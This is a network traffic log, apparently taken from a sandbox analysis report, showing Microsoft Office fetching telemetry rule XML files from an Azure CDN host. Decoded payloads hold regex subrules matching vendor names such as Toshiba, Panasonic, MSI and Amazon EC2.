2024-10-27 16:54:24 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.5	49768	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:24 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-27 16:54:24 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:24 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: 3201f11f-301e-006e-7658-27f018000000 x-ms-version: 2018-03-28 x-azure-ref: 20241027T165424Z-17c5cb586f6b6kj91vqtm6kxaw00000002dg000000009zak x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-27 16:54:24 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.5	49770	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:24 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-27 16:54:24 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:24 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: 03f0a5af-d01e-007a-76f2-24f38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241027T165424Z-r197bdfb6b42rt68rzg9338g1g00000004w000000000caa4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-27 16:54:24 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.5	49769	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:24 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-27 16:54:24 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:24 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: c9fe3c14-601e-0050-50d7-262c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241027T165424Z-16849878b7867ttgfbpnfxt44s00000003ng00000000cb10 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-27 16:54:24 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.5	49772	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:24 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-27 16:54:25 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:25 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: e7d99bfb-a01e-001e-60e3-2649ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241027T165425Z-r197bdfb6b48pcqqxhenwd2uz800000004gg000000008cft x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-27 16:54:25 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.5	49775	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:25 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-27 16:54:25 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:25 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 6856914c-401e-0029-0667-279b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241027T165425Z-16849878b782d4lwcu6h6gmxnw00000003cg00000000hr56 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-27 16:54:25 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.5	49776	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:25 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-27 16:54:25 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:25 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: 7dd8eec7-801e-00ac-442c-27fd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241027T165425Z-r197bdfb6b4bs5qf58wn14wgm000000002ug000000001yx8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-27 16:54:25 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.5	49778	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:25 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-27 16:54:25 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:25 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: 13d0f17b-b01e-0053-80f4-24cdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241027T165425Z-15b8d89586f2hk28h0h6zye26c000000069g000000004bga x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-27 16:54:25 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.5	49777	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:25 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-27 16:54:25 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:25 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: 7ae13fc9-101e-005a-3933-26882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241027T165425Z-r197bdfb6b4jlq9hb8xf0re6t400000003t0000000009fhp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-27 16:54:25 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.5	49779	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:25 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-27 16:54:26 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:26 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: b5577155-f01e-00aa-0f2c-278521000000 x-ms-version: 2018-03-28 x-azure-ref: 20241027T165426Z-15b8d89586fvk4kmbg8pf84y8800000004u0000000000fv2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-27 16:54:26 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.5	49782	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:26 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-27 16:54:27 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:27 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 51ccb76b-001e-0049-0a37-265bd5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241027T165427Z-15b8d89586fvpb597drk06r8fc00000004z0000000000pvy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-27 16:54:27 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.5	49780	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:26 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-27 16:54:27 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:27 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 24b9edea-d01e-002b-4c3d-2625fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241027T165427Z-17c5cb586f6lxnvg801rcb3n8n00000003f000000000bfsw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-27 16:54:27 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.5	49781	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:27 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
